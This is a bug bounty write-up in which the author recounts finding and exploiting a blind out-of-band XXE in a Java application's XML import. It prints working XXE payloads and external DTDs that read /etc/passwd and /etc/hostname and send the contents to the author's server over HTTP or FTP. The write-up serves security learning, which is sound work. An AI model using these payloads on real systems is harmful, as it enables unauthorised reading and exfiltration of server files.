Recently on a BugBounty program I came across my first XXE, blind what's more, as I found this case interesting I wanted to share it here.

Recon

The recognition phase is quite basic, the scope is composed of a single URL with 2 distinct backends (administrators and users). For each of these backends the users’ view is limited according to the rights they have.

I started to navigate in the application and all the tabs to understand how it works, although the scope is reduced the application is not very intuitive which makes its understanding a bit complicated.

After a few vulnerabilities found, the application seems rather robust, no “easy vulnerability”, however, my eye is focused on a parameter of the admin side configuration page, a parameter named “tag configuration for XML file import”. Hum interesting … I quickly searched or imported an XML file, this import is not on the admin side but on the user side.

Never trust user input application message

Luckily, the import page also allows you to download a template that will be valid for the application. So I downloaded this template and added a payload to display the content of /etc/passwd but … error message : “Invalid XML file (possible causes could be the use of DTDs or external entities for example)".

Hum… yet the response time of the server intrigued me. Rather than directly pointing me to an error, there was a loading time. Well… let's try something else.

Rather than trying to display the content of a file, I tried to see the use of ENTITIY is possible by forcing the server to make a request to my burp collaborator by including the following payload directly in the XML file :

<!DOCTYPE root [<!ENTITY % ext SYSTEM "http://{BURP_COLLABORATOR_URL}/"> %ext;]>

I upload and hop … after a few seconds, an HTTP request to my burp collaborator. So despite the error message, the file is well parsed and it is possible to use ENTITIES

Exploitation

All right, cool, let's try something else. I tried to extract the content from /etc/passwd and send it to my burp collaborator (blind XXE to exfiltrate data out-of-band) :

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "http://{BURP_COLLABORATOR_URL}/?%xxe;">]>
<foo>&callhome;</foo>

But… nothing. Okay, so then I tested it with an external dtd (In my case, I used an external server (VPS) with a python web server (python3 -m http.server 80) to deliver the payload and retrieve the content :

payload in the uploaded XML file :

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://{MY_SERVER_IP}/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

external dtd named x.dtd :

<!ENTITY % stuff SYSTEM "file:///etc/pasword">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://{MY_SERVER_IP}/?data=%stuff;'>">

I save, I up the server, I send back the malicious XML file, the server comes to get my DTD and sends me back but without the content of the file /etc/passwd … what ????

I do not despair and I tried with a dtd of test to see if I recover well the desired value, this dtd is thus just used to validate that I recover well the parameter “toto” :

payload in the uploaded XML file :

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://{MY_SERVER_IP}/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

external dtd named x.dtd :

<!ENTITY % stuff "toto">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://{MY_SERVER_IP}/p?data=%stuff;'>">

Let's start again, I save, I up the server, I send back the XML file, the server retrieves the DTD and I have the return with the value toto in the variable ?data=.

After some research I saw that it was sometimes not possible to extract the contents of a file that includes some characters or line breaks (which is the case of /etc/passwd).

In PHP it would have been possible to use a dtd like this:

<!ENTITY % stuff SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://{MY_SERVER_IP}/p?data=%stuff;'>">

To encode the whole thing in base64, the return of the complete file would have been done, you would have just had to decode it to get the whole file. Unfortunately the backend here is Java and I couldn't find an alternative.

So before digging I tried another file, /etc/hostname :
payload in the uploaded XML file :

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://{MY_SERVER_IP}/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

external dtd named x.dtd :

<!ENTITY % stuff SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://{MY_SERVER_IP}/?data=%stuff;'>">

Once again, I restart the web server, I send the XML, the server comes looking for my DTD and boom! the content of /etc/hostname is added as a parameter to the ?data= variable.

This could have been enough as PoC but I kept on digging. Don't settle for the simplest, try to demonstrate the impact of your vulnerabilities !

Digging

After some research I saw that it is possible to use the FTP protocol, which seems to be less troublesome than the file:// wrapper for data extraction like this :

payload in the uploaded XML file :

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://{MY_SERVER_IP}/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

external dtd named x.dtd :

<!ENTITY % stuff SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://{MY_SERVER_IP}/%stuff;'>">

For the FTP server, I used xxeserv which is specially designed for data extraction via FTP with a XXE OOB.

Here we go again. restart the web server, I send the XML, the server comes looking for my DTD and boom! Oh no … only a partial content of /etc/passwd is displayed :

After some research this is related to the version of Java used and unfortunately I have not found a solution to this problem.

Conclusion

So I found other leaks that I could extract and made my report. Unfortunately… duplicate ¯_(ツ)_/¯

The labs etc… are very good for training but we are often far from reality, despite having done a lot of labs dealing with the twentieth century I still spent time to successfully exploit it and for the blow despite this duplicate, this vulnerability has taught me a lot, what better for a first XXE (in bugbounty) than a XXE OOB blind especially since it was even more formative by showing that it is necessary not to stop at the first inconclusive attempt.